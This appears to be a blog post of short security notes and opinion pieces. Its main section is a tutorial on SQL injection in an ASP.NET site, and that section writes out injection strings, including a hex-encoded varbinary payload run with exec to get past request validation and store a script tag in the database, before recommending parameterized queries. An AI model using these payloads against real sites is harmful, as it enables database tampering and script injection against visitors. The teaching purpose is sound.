Security Notes

All kinds of security notes this week…

Malware Means Losing Internet Access

About a month ago, there was an article about an Australian woman whose internet access was cut off after her telephone company repeatedly warned her about malware on her computer.

Malware on a computer is a classic externality problem.  As long as your computer still works well enough, you might not really care about the negative things it is doing.  Alternatively, you may not have the skill necessary to remove it, or a safe backup  to which you could revert.  Thus, I don’t mind ISPs walling off computers which are known to be infected.  This might be the only way to get people to clean up their computers.

SQL Injection, Part 4C Of 8: Bonus Material

I don’t think I’ll have room for this anywhere else, so I wanted to include a little bit of bonus material.

In my simple workbench website, I included two extra columns in my gridview:  one in which I simply Eval(“Name”) and another in which I have a label whose Text property is set to Eval(“Name”).  I wanted to show you that both of these are bad ideas, and you probably should not use them.

Setting Up An Attack

Let’s go back to our basic website, that you can see in Part 3.  I’m going to perform SQL injection to insert an evil value.  In this case, I’ll inject script code.  Here is the code I would like to inject:

insert into Production.ProductSubcategory(ProductCategoryID, Name, rowguid, ModifiedDate) values(1, '// ', newid(), current_timestamp);--

So, trying it on the page gets me…an error:

Trying to run a script tag in a textbox returned this exception.

Trying to run a script tag in a textbox returned this exception.

So ASP.NET protected the server from my malicious script insertion attempt. That’s pretty cool, and I like that. Unfortunately, there are ways around this… My favorite way is to convert the message to binary and have SQL Server do the decoding and running for me. Doing this is rather trivial. In a copy of SQL Server Management Studio, all I have to do is run the following statement:

select cast('insert into Production.ProductSubcategory(ProductCategoryID, Name, rowguid, ModifiedDate) values(1, ''<script type="text/javascript">alert("A")</script>'', newid(), current_timestamp);--' as varbinary(8000));

This converts the query I want to run into varbinary. If I were to convert the varbinary back to text and execute that text, it would perform as if I had simply entered the text to begin with. The advantage (for an attacker) is that ASP.NET doesn’t understand what’s in that binary blob, so it doesn’t realize that there’s a script tag hanging around. Here’s the code we’ll use to attack:

declare @shmooi varchar(8000); set @shmooi = CAST(0x696E7365727420696E746F2050726F64756374696F6E2E50726F6475637453756263617465676F72792850726F6475637443617465676F727949442C204E616D652C20726F77677569642C204D6F64696669656444617465292076616C75657328312C20273C73637269707420747970653D22746578742F6A617661736372697074223E616C65727428224122293C2F7363726970743E272C206E6577696428292C2063757272656E745F74696D657374616D70293B2D2D as varchar(8000)); exec(@shmooi);--

That blob of binary is equivalent to the insert statement from above. But running it on the server presents us, as expected, with more favorable results.

Using a binary blob instead of text, we can circumvent ASP.NET's Request.Form protections.

Using a binary blob instead of text, we can circumvent ASP.NET's Request.Form protections.

We can go into SQL Server Management Studio and confirm that the evil subcategory has been inserted. Use the following query to find the record:

select * from Production.ProductSubcategory where Name like '%script%';
Javascript has been inserted into our database via a SQL injection attack.

Javascript has been inserted into our database via a SQL injection attack.

The next person who searches for anything on the page that matches this—like, say, the letter “A”—will be in for a rude surprise.

The Javascript is executed, causing a popup box to appear.

The Javascript is executed, causing a popup box to appear.

This is scary.  If you aren’t afraid at this point, something’s wrong with you.  Right here, we’ve demonstrated just how easy it is to perform a cross-site scripting attack using SQL injection.  My example is more limited, in that I’m not actually performing a cross-site scripting attack, but rather simply running Javascript, but turning it into an XSS attack is not that much more difficult.

So why did this attack succeed?  We can get a good idea of the problem by looking at the bottom of the page, where our new attack subcategory is:

The two columns in which an Eval statement is used actually evaluated the Javascript code; the non-Eval label does not.

The two columns in which an Eval statement is used actually evaluated the Javascript code; the non-Eval label does not.

The first two columns are empty.  That is because they were evaluated and not simply displayed.  By performing an evaluation, you also evaluate any script inside—regardless of whether you, as the developer, intended somebody to run your script.  The third column, which is the default GridView column, simply displays the text in a label.  It does not evaluate the code, and so even though somebody injected code into the database, it was not run.

Parameterize, Man!

Just like before, a SqlParameter can protect us against this attack. Here is what our parameterized, space-limited query looks like:

exec sp_executesql N'select Name, ProductSubcategoryID, ProductCategoryID from Production.ProductSubcategory where Name like ''%@Filter%'' order by ProductSubcategoryID;',N'@Filter nvarchar(50)',@Filter=N'boof''; declare @shmooi varchar(8000); set @shmooi '

Because there are only 50 characters allowed, the attack would fail. But more importantly, we made the query completely safe, so instead of looking for “boof” and then running the attack code, it tries to look for “boof'; declare @shmooi varchar(8000); set @schmooi ‘ as one of our product subcategories. No records are returned and the attack code, obviously, is not run.

Conclusions

Again, parameterize your queries.  It will save you so much headache and hassle.  In addition, I recommend not using the Eval functionality, and instead loading your labels and other form fields in the codebehind.  That way, even if somebody does sneak something evil into your database, it won’t run the way the bad guy expected.

Hopefully the end of the Hillis saga

Oh Peyton. Why couldn’t you have just said this weeks ago?

Each day, I begin to think it’s entirely the media and his agent that stirred up this shitstorm in the first place. If he said this during training camp, this would not have been a nagging issue all season.

Maybe with this behind the Browns, I can look forward to our offense trying some of these touchdowns I’ve heard so much about. I hear they’re worth two field goals, and you can even get a bonus point! What a crazy, mixed up world we live in.

Central Planning: Jobs Americans Will Do

Vero de Rugy has a hilarious article by a former Gosplan planner who saw the light, writing to the Department of Energy and offering advice earned from years of sucking (which isn’t his fault, but rather the necessary result of central planning).

The sad part is that we know which side won the Cold War, but some people just can’t give up that socialist feeling.  Sadly, the urge to control other peoples’ lives and declare yourself better at that than the people whose lives you have decided to run runs deep in the West.